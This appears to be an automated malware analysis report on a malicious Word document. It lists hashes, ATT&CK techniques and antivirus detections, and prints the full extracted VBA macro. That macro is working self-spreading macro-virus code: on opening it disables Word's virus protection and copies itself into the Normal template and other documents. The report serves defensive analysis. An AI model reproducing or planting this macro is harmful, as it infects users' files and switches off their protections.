Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 eecee6e3b0d6e3ba…

MALICIOUS

Office (OLE)

34.0 KB Created: 2017-03-21 05:24:00 Authoring application: Microsoft Office Word First seen: 2021-06-04
MD5: bb9623a05268df37b754f01bac8840ec SHA-1: 92736e5112cbc825ddee1a2e25267f2dfaea19b5 SHA-256: eecee6e3b0d6e3ba2390fe69248ab4fad4fd918b2319dde08a1271defcf1cf53
120 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing a VBA macro. The Document_Open macro is designed to execute automatically when the document is opened. It attempts to overwrite itself with its own code, a technique often used to evade detection or prepare for further execution. The ClamAV detection 'Doc.Macro.APMPKILL-6097118-0' strongly suggests malicious intent.

Heuristics 3

  • ClamAV: Doc.Macro.APMPKILL-6097118-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.APMPKILL-6097118-0
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1027 bytes
SHA-256: f136142b40965ce41763caed3acb0ccab48ef04e860145c7f9d9ef01967df9ba
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
'APMP
'KILL
Private Sub Document_Open()
   On Error Resume Next
   Application.DisplayStatusBar = False
   Options.VirusProtection = False
   Options.SaveNormalPrompt = False
   MyCode = ThisDocument.VBProject.VBComponents(1).CodeModule.Lines(1, 20)
   Set Host = NormalTemplate.VBProject.VBComponents(1).CodeModule
   If ThisDocument = NormalTemplate Then _
      Set Host = ActiveDocument.VBProject.VBComponents(1).CodeModule
   With Host
       If .Lines(1, 1) = "APMP" & .Lines(1, 2) <> "KILL" Then
          .DeleteLines 1, .CountOfLines
          .InsertLines 1, MyCode
          If ThisDocument = NormalTemplate Then _
             ActiveDocument.SaveAs ActiveDocument.FullName
       End If
   End With
End Sub